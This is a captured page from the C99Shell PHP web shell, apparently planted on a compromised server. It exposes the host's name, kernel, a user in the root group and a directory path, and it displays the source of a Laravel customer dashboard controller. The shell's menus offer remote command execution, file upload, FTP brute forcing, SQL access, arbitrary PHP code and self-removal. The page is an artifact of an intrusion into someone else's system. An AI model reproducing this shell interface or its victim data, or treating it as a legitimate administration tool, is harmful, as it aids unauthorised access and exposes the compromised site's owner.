!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html_v1_1/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Deposit;
use 
App\Models\Order;
use 
App\Models\Transaction;
use 
Carbon\Carbon;
use 
App\Models\Notice;
use 
Illuminate\Support\Facades\Date;
use 
Illuminate\Support\Facades\DB;
use 
Response;
class 
DashboardController extends Controller
{


    public function 
index()
    {
        
$data['totalTickets'] = auth('customer')->user()->tickets()->count();
        
$data['balance'] = auth('customer')->user()->wallet()->sum('amount');
        
$orderStatus auth('customer')->user()->orders()->select('status'DB::raw('count(*) as total'))
            ->
groupBy('status')
            ->
pluck('total','status')->all();
        
$data['orderStatus'] =  $orderStatus;
        
$transactionType auth('customer')->user()->transactions()->select('type'DB::raw('SUM(amount) as total'))
            ->
groupBy('type')
            ->
pluck('total','type')->all();
        
$data['transactionType'] =  $transactionType;

        
$data['totalOrders'] = auth('customer')->user()->orders()->count();

        
$orders auth('customer')->user()->orders()->where('created_at''>'now()->subDays(30))
            ->
select(DB::Raw('count(*) as count'),DB::Raw('DATE(created_at) day'))
            ->
groupBy('day')->get()
            ->
pluck('count','day');

        
$monthlyOrders=[];
        foreach (
getLastNDays(30) as $day){
            
$monthlyOrders[]=isset($orders[trim($day'"')])?$orders[trim($day'"')]:0;
        }

        
$deposits auth('customer')->user()->deposit()->where('created_at''>'now()->subDays(30))->where('status','approved')
            ->
select(DB::Raw('count(*) as count'),DB::Raw('DATE(created_at) day'))
            ->
groupBy('day')->get()
            ->
pluck('count','day');
        
$monthlyDeposits=[];
        foreach (
getLastNDays(30) as $day){
            
$monthlyDeposits[]=isset($deposits[trim($day'"')])?$deposits[trim($day'"')]:0;
        }
        
$monthly = [];
        foreach (
getLastNDays(30) as $day){
            
$day=Carbon::createFromTimeString(str_replace('"','',$day." 0:00:00"));
            
$monthly[]= $day->format('m-d-Y');
        }
        
$data['months'] = $monthly;
        
$data['monthlyDeposits'] = $monthlyDeposits;
        
$data['monthlyOrders'] = $monthlyOrders;
        return 
view('customer.dashboard'$data);
    }
    public function 
fileDownload($id)
    {
        
$noticeDocuments Notice::where('id',$id)->first();
        
$filepath public_path('uploads/') . "$noticeDocuments->attach_file";

        if(
file_exists($filepath)){
            return 
Response::download($filepath);
        }
        else {
            return 
redirect()->back()->with('fail''NO such File Exists');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--